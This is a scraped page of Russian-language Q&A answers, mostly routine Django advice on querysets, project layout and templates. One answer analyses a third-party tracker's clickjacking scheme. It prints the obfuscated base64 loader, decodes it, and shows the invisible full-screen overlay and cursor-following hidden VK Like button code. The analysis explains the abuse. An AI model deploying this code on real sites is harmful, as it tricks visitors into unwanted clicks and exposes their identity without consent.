• Как автоматически копировать файл с чужого сервера?

    @alexdora
    Топ-менеджер
    curl в любом языке
    Ответ написан
    Комментировать
  • Как найти ошибку в коде (Игра "Жизнь")?

    @vilgeforce
    Раздолбай и программист
    Берете отладчик и смотрите как обсчитывается ваш файл.
    Ответ написан
    Комментировать
  • Как admeo.ru узнает номер телефона?

    27cm
    @27cm
    TODO: Написать статус
    Clickjacking

    О кликджекинге написано много статей, в том числе и на Хабре, но всё же заглянем внутрь admeo.ru и посмотрим, как это реализовано у них.

    1. В коде есть скрипт, буквально бросающийся в глаза:
    <script src="data:text/javascript;charset=utf-8;base64,KGZ1bmN0aW9uKGIsYyl7c2V0VGltZW91dChmdW5jdGlvbigpe3ZhciBhPWRvY3VtZW50LGY9YS5nZXRFbGVtZW50c0J5VGFnTmFtZSgic2NyaXB0IilbMF0scz1hLmNyZWF0ZUVsZW1lbnQoInNjcmlwdCIpLGg9ZXNjYXBlKGEucmVmZXJyZXIpO3MudHlwZT0idGV4dC9qYXZhc2NyaXB0IjtzLmNoYXJzZXQ9IlVURi04IjtzLmFzeW5jPSEwO3Muc3JjPSIvLyIrYisiLyIrYysiLmpzP3I9IitNYXRoLnJhbmRvbSgpO2YucGFyZW50Tm9kZS5pbnNlcnRCZWZvcmUocyxmKX0sMCl9KSgiYWRtZW8ucnUiLCJlZGI0MmE4MTg3MzE4NTY5NmFjNTJlMmJiNGJmNmVlYSIpOw==" async=""></script>

    2. Декодируем:
    (function(b,c){setTimeout(function(){
    var a=document,f=a.getElementsByTagName("script")[0],
    s=a.createElement("script"),h=escape(a.referrer);s.type="text/javascript";
    s.charset="UTF-8";s.async=!0;s.src="//"+b+"/"+c+".js?r="+Math.random();
    f.parentNode.insertBefore(s,f)},0)})("admeo.ru","edb42a81873185696ac52e2bb4bf6eea");

    3. Внутри edb42a81873185696ac52e2bb4bf6eea.html:
    <html>
    <head></head>
    <body onclick="admeoVk.click()">
    <div id="vk_api_transport"></div>
    <div id="cwvkid" style="cursor:pointer!important;clear: both;background: none;position: fixed !important;top: 0;left: 0;bottom: 0;right: 0;width: 100%;height: 100%;border: none;margin: 0;padding: 0;opacity: 0;z-index: 88888;visibility: visible;"></div>
    <div id="myvklogin"></div>
    <script language="JavaScript">
        var admeoParams = {
            token: 'edb42a81873185696ac52e2bb4bf6eea',
            apiUrl: 'http://admeo.ru/',
            appId: 4906527,
            host: 'admeo.ru',
            siteId: 15,
            cName: 'amuid'
        };
    
        (function(i,s,o,g,r,a,m){i['AdmeoObject']=r;i[r]=i[r]||function(){
                (i[r].q=i[r].q||[]).push(arguments)},i[r].l=1*new Date();a=s.createElement(o),
            m=s.getElementsByTagName(o)[0];a.async=1;a.src=g;m.parentNode.insertBefore(a,m)
        })(window,document,'script', 'http://static.admeo.ru/assets/core/_vk.js','admeo');
    </script>
    </body>
    </html>

    Странное решение оставить cursor:pointer!important...
    4. static.admeo.ru/assets/core/_vk.js
    5. Прозрачная кнопка Like Вконтакте движется под курсором и ждёт, когда на неё кликнут:
    window.onmousemove = function(e){
        document.querySelector('#cwvkid').style.left = e.pageX - 70;
        document.querySelector('#cwvkid').style.top = e.pageY - 12;
    };
    Ответ написан
    10 комментариев
  • Как сформировать таблицу с изменяемыми полями?

    sim3x
    @sim3x
    JScript давно не в моде, в отличии от JavaScript

    Ты хочешь построить нечто, что очень-чоень редко встречается в стандартном ТЗ - так что простой ответ - нет
    Сложный ответ состоит в том, что тебе нужно написать детальное ТЗ, чтоб понять, что ты вообще хочешь на самом деле
    Ответ написан
    Комментировать
  • Как узнать количество продуктов в категории через django orm?

    Хотите получить товары, а выборку делаете по категориям. Product.objects.filter ...
    Ответ написан
    1 комментарий
  • Веб сервис для сбора и просмотра почты со многих ящиков?

    Denormalization
    @Denormalization
    https://www.mozilla.org/ru/thunderbird/

    Пользуюсь уже много лет. Удобнее был только TheBat.
    Ответ написан
    Комментировать
  • Как сделать уведомления в админке django?

    reli
    @reli
    Python-devel
    Кастомизированная админка (AngularJS/React.js), RESTfull
    Ответ написан
    Комментировать
  • Сортировка queryset?

    Gasoid
    @Gasoid
    добавить надо еще поле в модель country, например
    class Country(models.Model):
    ...
    sort = models.IntegerField(default=4000)

    ну и России присвоить 1, и сортировать по двум полям sort, name
    можно и через js
    Ответ написан
    Комментировать
  • Сортировка queryset?

    sim3x
    @sim3x
    stackoverflow.com/questions/1336900/django-modelch...

    class YourForm(forms.Form):
        field1 = forms.ModelChoiceField(queryset = MyModel.objects.all() )
    
    form = YourForm(initial = {'field1': instance_of_mymodel.pk })

    или что-то наподобии
    queryset=[
        Country.objects.filter(name="Russia"), 
        Country.objects.exclude(name="Russia").order_by("name")]


    код не тестировал
    Ответ написан
    5 комментариев
  • Как фильтровать выборку в шаблоне?

    sim3x
    @sim3x
    Как фильтровать выборку в шаблоне?
    никак.
    Отвратительная практика
    Фильтруй в модели, в крайнем случае, во вью
    Ответ написан
    4 комментария
  • Как сделать что бы django-filter отображался на каждой странице?

    @Skver0
    создать отдельный темплейт с фильтром и добавить в базовый html.
    Ответ написан
    Комментировать
  • Как создать всплывающее окно в django?

    sim3x
    @sim3x
    Хочешь спользовать ангуляр для редактирования - используй www.django-rest-framework.org
    Ответ написан
    Комментировать
  • Несколько баз данных в Django. Реально ли?

    Tiendil
    @Tiendil
    Разработчик ПО.
    Ни одна база так не умеет, это нарушает саму концепцию БД.

    Идеологически верная архитектура:

    - N отдельных магазинов, хранящих свои внутренние данные в своих базах.
    - 1 общий сервис (с отдельной базой), который управляет общими данными и в который другие обращаются по необходимости.
    Ответ написан
    Комментировать
  • Как запускать функцию через определенное время в Django проекте с помощью UWSGI?

    для такого простого случая https://docs.djangoproject.com/en/1.8/howto/custom...
    просто в самой джанге напишите команду, и запускайте кронтабом, проверенное замечательное средство.
    Ставить отдельные решения, в таком простом случае совершенно не требуется, и будет только оверхедом.
    Ответ написан
    Комментировать
  • Как запускать функцию через определенное время в Django проекте с помощью UWSGI?

    mututunus
    @mututunus
    Backend developer (Python, Golang)
    Ответ написан
    Комментировать
  • Как сделать sms верификацию в Django?

    @fantom0005
    Вам для этого понадобится сервис, который отправляет смс уведомления. Например: smsc.ru. У них уже есть готовое api для Python2/3.
    В модели пользователя, нужно создать дополнительное поле, которое будет содержать код верификации. И при регистрации генерируем код, отправляем его через смс сервис. Пользователь вводит этот код, если коды совпадают - телефон принадлежит пользователю.
    Ответ написан
    Комментировать
  • Как грамотно организовать проект на Django (приложения, шаблоны, статические файлы)?

    zymanch
    @zymanch
    python/django web-developer
    Обычно разделяю предметные области проекта на отдельные приложения. Если какая-то область слишком обширна, то в папке приложения создаю отдельные приложения для подобластей. Для каждого приложения - своя папка templates: это позволяет при большом количестве приложений не путаться в разросшейся иерархии директорий. Кроме того, отправляю всю обособленную статику в директории static каждого приложения: иногда для работы интерфейса пишу JavaScript приложения на Marionette - всегда знаю, где искать нужную кучу скриптов.
    Для примера: пишем проект для дилерской сети по распространению и продаже автомобилей. Получается так:
    ./project_name/
    ./project_name/settings.py
    ./project_name/urls.py
    ./project_name/static/
    ./project_name/static/css/...
    ./project_name/static/js/...
    ./project_name/static/imgs/...
    ./dealer/
    ./dealer/admin.py
    ./dealer/models.py
    ./dealer/views.py
    ./dealer/urls.py
    ./dealer/templates/
    ./dealer/templates/dealer/
    ./dealer/templates/dealer/list.html
    ./vehicles/
    ./vehicles/admin.py
    ./vehicles/models.py
    ./vehicles/logistics/
    ./vehicles/logistics/models.py
    ./vehicles/logistics/admin.py
    ./vehicles/logistics/views.py
    ./vehicles/logistics/urls.py
    ./vehicles/logistics/templates/
    ./vehicles/logistics/templates/logistics/tracking.html
    ./vehicles/logistics/static/
    ./vehicles/logistics/static/js/app/tracking/
    ./vehicles/logistics/static/js/app/tracking/main.js
    ./vehicles/logistics/static/js/app/tracking/app.js
    ./vehicles/logistics/static/js/app/tracking/...
    ./vehicles/sales/
    ./vehicles/sales/models.py
    ./vehicles/sales/admin.py
    ./vehicles/sales/views.py
    ./vehicles/sales/urls.py
    ./vehicles/sales/templates/
    ./vehicles/sales/templates/sales/invoices.html
    ./vehicles/sales/static/
    ./vehicles/sales/static/js/app/invoices/
    ./vehicles/sales/static/js/app/invoices/main.js
    ./vehicles/sales/static/js/app/invoices/app.js
    ./vehicles/sales/static/js/app/invoices/...
    ./static/
    ./media/
    ./templates/
    ./templates/base.html
    ./templates/...

    Далее по аналогии. Если нужна какая-то мелочь - отправляем ее в соответствующее "корневое" приложение; если мелочь становится более серьезным куском функционала в рамках той же предметной области - создаем ей отдельное приложение внутри уже существующего. Все, что выходит за рамки предметной области - новое "корневое" приложение.
    Ответ написан
    Комментировать
  • Как грамотно организовать проект на Django (приложения, шаблоны, статические файлы)?

    atomheart
    @atomheart
    Пишу на Python за карму и за деньги
    Есть замечательная книга "Two Scoops of Django 1.8" (best practices), легко гуглится. Книга не переведена на русский, но читается легко. В ней описаны практические решения выше обозначенных вопросов по организации проекта и много чего еще интересного и правильного.

    А вообще, Django позволяет переорганизовать проект по удобной разработчику схеме и делается это достаточно просто.

    Обычно я делаю вместо папки главного проекта - папку config (с файлом settings.py), так же идет общая папка с шаблонами (которые разбиты по приложениям), а логические части проекта разбиваю на приложениям.

    Выглядит все примерно так:

    ./manage.py
    ./config/
    ./config/settings.py
    ./config/ursl.py
    ./templates/blog/
    ./templates/blog/base.html
    ./templates/blog/about.html
    ./templates/accounts/
    ./templates/accounts/login.html
    ./templates/accounts/registration.html
    ./acccounts/
    ./acccounts/urls.py
    ./acccounts/...
    ./blog/
    ./blog/urls.py
    ./blog/...


    Но есть у меня проект, где только папка config, а все остальное - динамически создаваемый контент.
    Ответ написан
    6 комментариев
  • Jinja2 логика шаблонов?

    half-life
    @half-life Автор вопроса
    Вот так получается передать значение переменной.

    src/templates/base.html
    {% load staticfiles %}
    <!DOCTYPE html>
    <html>
    <head lang="en">
        <meta charset="UTF-8">
        <title>{% block title %}{% endblock %}</title>
        <link rel="stylesheet" href="{% static 'css/reset.min.css' %}"/>
        <link rel="stylesheet" href="{% static 'css/main.css' %}"/>
    </head>
    <body>
        {% block header %}{% endblock %}
    <script src="{% static 'js/main.js' %}"></script>
    </body>
    </html>

    src/templates/index.html
    {% extends "base.html" %}
    {% block title %}Index{% endblock %}
    {% block header %}
        {% with txt='1' %}
            {% include "layouts/header.html" %}
        {% endwith %}
    {% endblock %}

    src/templates/layouts/header.html
    <header>
        <p>{{ txt }}</p>
    </header>


    Если переменных несколько

    src/templates/index.html
    {% extends "base.html" %}
    {% block title %}Index{% endblock %}
    {% block header %}
        {% with txt='1' txt2='2' txt3='3' %}
            {% include "layouts/header.html" %}
        {% endwith %}
    {% endblock %}

    src/templates/layouts/header.html
    <header>
        <p>{{ txt }}</p>
        <p>{{ txt2 }}</p>
        <p>{{ txt3 }}</p>
    </header>

    Ответ написан
    3 комментария